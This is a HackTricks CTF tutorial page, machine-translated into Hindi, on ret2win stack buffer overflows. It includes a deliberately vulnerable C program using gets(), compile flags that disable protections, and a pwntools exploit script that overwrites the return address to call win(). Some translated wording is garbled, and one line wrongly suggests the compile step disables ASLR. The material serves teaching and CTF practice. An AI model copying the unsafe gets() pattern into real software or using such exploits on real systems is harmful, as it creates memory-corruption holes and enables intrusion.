Ret2win

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

Ret2win चैलेंज Capture The Flag (CTF) प्रतियोगिताओं में एक लोकप्रिय श्रेणी है, विशेष रूप से उन कार्यों में जो बाइनरी उत्पीड़न को शामिल करते हैं। लक्ष्य एक दिए गए बाइनरी में एक संकट का उपयोग करना है ताकि बाइनरी के भीतर एक विशिष्ट, अबिनित कार्य को निष्पादित किया जा सके, जिसे आम तौर पर win, flag, आदि कुछ नाम दिया जाता है। यह कार्य, जब निष्पादित किया जाता है, आम तौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती सामान्यत: स्टैक पर वापसी पता को ओवरराइट करके निर्देशन विकल्प कार्य की ओर ध्यान ले जाने के लिए होती है। यहां एक और विस्तृत स्पष्टीकरण है उदाहरणों के साथ:

सी उदाहरण

एक सरल सी कार्यक्रम का विचार करें जिसमें एक संकट है और हमें कॉल करना है win कार्य:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

किसी भी स्टैक सुरक्षा के साथ इस प्रोग्राम को कंपाइल करने के लिए और ASLR अक्षम करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: कार्यक्रम को 32-बिट बाइनरी के रूप में कंपाइल करें (यह ऐच्छिक है लेकिन CTF चैलेंज में सामान्य है)।

  • -fno-stack-protector: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें।

  • -z execstack: स्टैक पर कोड का क्रियान्वयन सुनिश्चित करें।

  • -no-pie: स्थिति स्वत: स्थानीय कार्यक्षम न करने के लिए सक्षम करें ताकि win फ़ंक्शन का पता बदल न जाए।

  • -o vulnerable: आउटपुट फ़ाइल का नाम vulnerable रखें।

Pwntools का उपयोग करके Python अभियांत्रिकी

उत्पीड़न के लिए, हम pwntools का उपयोग करेंगे, जो एक शक्तिशाली CTF फ़्रेमवर्क है जो उत्पीड़न लिखने के लिए है। उत्पीड़न स्क्रिप्ट एक पेलोड बनाएगा ताकि बफ़र को ओवरफ़्लो करें और वापसी पता को win फ़ंक्शन के पते से अधिलेखित करें।

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

विजेता कार्य का पता लगाने के लिए, आप gdb, objdump, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो बाइनरी फ़ाइलों की जांच करने की अनुमति देता है। उदाहरण के लिए, objdump के साथ, आप इस्तेमाल कर सकते हैं:

objdump -d vulnerable | grep win

यह कमांड आपको win फ़ंक्शन के असेंबली को दिखाएगा, जिसमें इसका प्रारंभ पता शामिल है।

Python स्क्रिप्ट एक ध्यान से तैयार किया गया संदेश भेजता है जो vulnerable_function द्वारा प्रसंस्कृत किया जाने पर बफर को ओवरफ़्लो करता है और स्टैक पर वापसी पता win के पते के साथ ओवरराइट करता है। जब vulnerable_function वापस लौटता है, main या बाहर निकलने की बजाय, यह win पर जाता है, और संदेश प्रिंट होता है।

सुरक्षा

  • PIE को अक्षम कर देना चाहिए ताकि पता हमेशा समान हो या फ़ंक्शन को कहाँ स्टोर किया जाएगा यह हमेशा समान नहीं होगा और आपको कुछ लीक की आवश्यकता होगी ताकि आप जान सकें कि विन फ़ंक्शन को कहाँ लोड किया गया है। कुछ मामलों में, जब ओवरफ़्लो का कारण फ़ंक्शन read या समान होता है, तो आप विन फ़ंक्शन को कॉल करने के लिए वापसी पता को बदलने के लिए 1 या 2 बाइट का आंशिक ओवरराइट कर सकते हैं। ASLR काम करने के कारण, आखिरी तीन हेक्स नाइबल्स को याद नहीं किया जाता है, इसलिए सही वापसी पता प्राप्त करने के लिए 1/16 अवसर (1 नाइबल) होता है।

  • स्टैक कैनेरीज़ भी अक्षम होना चाहिए या संकटित EIP वापसी पता कभी भी अनुसरण नहीं किया जाएगा।

अन्य उदाहरण और संदर्भ

ARM64 उदाहरण

pageRet2win - arm64
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated